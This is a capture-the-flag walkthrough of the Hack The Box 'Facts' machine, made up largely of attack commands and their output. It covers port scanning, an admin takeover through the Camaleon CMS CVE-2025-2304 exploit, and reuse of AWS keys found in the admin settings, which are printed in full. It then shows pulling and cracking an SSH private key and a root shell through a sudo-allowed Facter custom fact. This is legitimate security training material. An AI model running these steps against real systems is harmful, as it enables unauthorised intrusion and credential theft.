HTB-Facts

Initial Reconnaissance
its a easy machine ! lets start
after getting the ip first i run rustscan cause it really faster than nmap
rustscan -a 10.129.13.46 --ulimit 1000 -r 1-65535 -- -A -sC -Pn
Scan Results
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4d:d7:b2:8c:d4:df:57:9c:a4:2f:df:c6:e3:01:29:89 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNYjzL0v+zbXt5Zvuhd63ZMVGK/8TRBsYpIitcmtFPexgvOxbFiv6VCm9ZzRBGKf0uoNaj69WYzveCNEWxdQUww=
| 256 a3:ad:6b:2f:4a:bf:6f:48:ac:81:b9:45:3f:de:fb:87 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPCNb2NXAGnDBofpLTCGLMyF/N6Xe5LIri/onyTBifIK
80/tcp open http syn-ack ttl 63 nginx 1.26.3 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.26.3 (Ubuntu)
|_http-title: Did not follow redirect to http://facts.htb/
54321/tcp open http syn-ack ttl 62 Golang net/http server
|_http-server-header: MinIO
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 400 Bad Request
| Accept-Ranges: bytes
| Content-Length: 303
| Content-Type: application/xml
| Server: MinIO
| Strict-Transport-Security: max-age=31536000; includeSubDomains
| Vary: Origin
| X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
| X-Amz-Request-Id: 189317C4741475EB
| X-Content-Type-Options: nosniff
| X-Xss-Protection: 1; mode=block
| Date: Wed, 11 Feb 2026 04:46:51 GMT
| <?xml version="1.0" encoding="UTF-8"?>
| <Error><Code>InvalidRequest</Code><Message>Invalid Request (invalid argument)</Message><Resource>/nice ports,/Trinity.txt.bak</Resource><RequestId>189317C4741475EB</RequestId><HostId>dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8</HostId></Error>
| GenericLines, Help, RTSPRequest, SSLSessionReq:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 400 Bad Request
| Accept-Ranges: bytes
| Content-Length: 276
| Content-Type: application/xml
| Server: MinIO
| Strict-Transport-Security: max-age=31536000; includeSubDomains
| Vary: Origin
| X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
| X-Amz-Request-Id: 189317C010F52C3E
| X-Content-Type-Options: nosniff
| X-Xss-Protection: 1; mode=block
| Date: Wed, 11 Feb 2026 04:46:32 GMT
| <?xml version="1.0" encoding="UTF-8"?>
| <Error><Code>InvalidRequest</Code><Message>Invalid Request (invalid argument)</Message><Resource>/</Resource><RequestId>189317C010F52C3E</RequestId><HostId>dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8</HostId></Error>
| HTTPOptions:
| HTTP/1.0 200 OK
| Vary: Origin
| Date: Wed, 11 Feb 2026 04:46:32 GMT
|_ Content-Length: 0
Web Enumeration
after headover to port 80 the webserver hosts shows title facts.htb so quickly add it to /etc/hosts along with ip
http://facts.htb/ - its a simple blog or image sharing site
upon looking at the source code reveals its running something called Camaleon CMS
Camaleon CMS is a dynamic and advanced content management system based on Ruby on Rails
then quickly run gobuster
gobuster dir -u http://facts.htb/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt
and found interesting a endpoint /admin
Exploitation - CVE-2025-2304
since i coudn’t detect the cms version i just searching latest CVE or vulnerability related to it then i found
https://github.com/predyy/CVE-2025-2304
CVE-2025-2304 - Camaleon CMS Privilege Escalation
A Privilege Escalation through a Mass Assignment exists in Camaleon CMS When a user wishes to change his password, the ‘updated_ajax’ method of the UsersController is called. The vulnerability stems from the use of the dangerous permit! method, which allows all parameters to pass through without any filtering.
Impact: An attacker can exploit this to modify object attributes, potentially leading to privilege escalation.
means if i just register as a new user and i can be able to be admin right ? so lets go
┌──(kali㉿blackXploit)-[~/Downloads/factshtb/CVE-2025-2304]
└─$ python3 exp.py http://facts.htb/admin test test@test
[*] Logging in as test ...
[+] Login successful
[+] Got profile page
[i] Version detected: 2.9.0 (< 2.9.1) - appears to be vulnerable version
[+] authenticity_token: PpN31aC00B4IEFOyQN4l8Zj7mkNFw4HpmQjDr7tH8emXiQMm_5RktUs_OANR-8xeE9P5A5LD3lLgnQlfT1VPyQ
http://facts.htb/admin/users/5/updated_ajax
[*] Submitting password change request
[+] Submit successful, you should be admin
now i am admin
AWS Credentials Discovery
after headover to http://facts.htb/admin/settings/site
i found juicy stuffs like AWS s3 access key now we can acess this stuff with the help of aws cli
└─$ aws s3 ls
An error occurred (InvalidAccessKeyId) when calling the ListBuckets operation: The AWS Access Key Id you provided does not exist in our records.
┌──(kali㉿blackXploit)-[~/Downloads/factshtb]
└─$ aws configure --profile facts
AWS Access Key ID [None]: AKIA237FBBCAFC84DA9E
AWS Secret Access Key [None]: 1I6oQXf2PZH20fVOdFL+AKZ+gtZwH70nDg/atEKH
Default region name [None]: us-east-1
Default output format [None]: json
┌──(kali㉿blackXploit)-[~/Downloads/factshtb]
└─$ aws s3 ls --endpoint-url http://facts.htb:54321 --profile facts
2025-09-11 08:06:52 internal
2025-09-11 08:06:52 randomfacts
┌──(kali㉿blackXploit)-[~/Downloads/factshtb]
└─$ aws s3 ls s3://internal/ --endpoint-url http://facts.htb:54321 --profile facts
PRE .bundle/
PRE .cache/
PRE .ssh/
2026-01-08 13:45:13 220 .bash_logout
2026-01-08 13:45:13 3900 .bashrc
2026-01-08 13:47:17 20 .lesshst
2026-01-08 13:47:17
SSH Key Extraction
after dig into /internal dir we got .ssh then quicky cpy this to current dir
aws s3 cp s3://internal/.ssh /home/kali/Downloads/factshtb --endpoint-url http://facts.htb:54321 --profile facts --recursive
download: s3://internal/.ssh/id_ed25519 to ./id_ed25519
download: s3://internal/.ssh/authorized_keys to ./authorized_keys
Cracking SSH Key
the id i have got is encrypted so need to crack it fr that i use
python3 /usr/share/john/ssh2john.py id_ed25519 > key.john
┌──(kali㉿blackXploit)-[~/Downloads/factshtb]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt key.john
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 24 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
dra[redact] (id_ed25519)
1g 0:00:06:18 DONE (2026-02-11 00:46) 0.002641g/s 8.452p/s 8.452c/s 8.452C/s fireman..imissu
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Getting User Access
i got the passphrase lets connect to port 22
┌──(kali㉿blackXploit)-[~/Downloads/factshtb]
└─$ ssh-keygen -y -f id_ed25519 > id_ed25519.pub
Enter passphrase for "id_ed25519":
this will generate .pub file so we know the user
┌──(kali㉿blackXploit)-[~/Downloads/factshtb]
└─$ ls
authorized_keys CVE-2025-2304 id_ed25519 id_ed25519.hash id_ed25519.pub key.john writeup.md
┌──(kali㉿blackXploit)-[~/Downloads/factshtb]
└─$ cat id_ed25519.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIA6uqf/MuO5odDM453bZdApeHLnufnUfStkZcK5e/2QQ redacted@facts.htb
┌──(kali㉿blackXploit)-[~/Downloads/factshtb]
└─$ ssh -i id_ed25519 trivia@facts.htb
Enter passphrase for key 'id_ed25519':
Last login: Wed Jan 28 16:17:19 UTC 2026 from 10.10.14.4 on ssh
Welcome to Ubuntu 25.04 (GNU/Linux 6.14.0-37-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Wed Feb 11 06:26:36 AM UTC 2026
System load: 0.13
Usage of /: 74.2% of 7.28GB
Memory usage: 19%
Swap usage: 0%
Processes: 221
Users logged in: 1
IPv4 address for eth0: 10.129.13.46
IPv6 address for eth0: dead:beef::250:56ff:feb0:441b
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
trivia@facts:~$ ls
trivia@facts:/home$ ls
trivia william
trivia@facts:/home$ cd william/
trivia@facts:/home/william$ ls
user.txt
trivia@facts:/home/william$ cat user.txt
73f8a5[redacted]
Privilege Escalation to Root
next step is to get root for that use same method run sudo -l and notice
trivia@facts:/home/william$ sudo -l
Matching Defaults entries for trivia on facts:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User trivia may run the following commands on facts:
(ALL) NOPASSWD: /usr/bin/facter
facter is a system profiling tool used by Puppet (configuration management), and it can execute Ruby code. Since you can run it as root with sudo and no password, you can exploit this to get a root shell.
lets craft the exploit
trivia@facts:/tmp$ mkdir -p /tmp/exploit
trivia@facts:/tmp$ cat > /tmp/exploit/root.rb << 'EOF'
Facter.add(:root_shell) do
setcode do
system("/bin/bash")
end
end
EOF
trivia@facts:/tmp$ sudo /usr/bin/facter --custom-dir /tmp/exploit
root@facts:/tmp#
i bet you , you cant find this type of writeup anywhere so if it helps please drop a comment below. thank you. thats all foxs ! have fun happy hacking.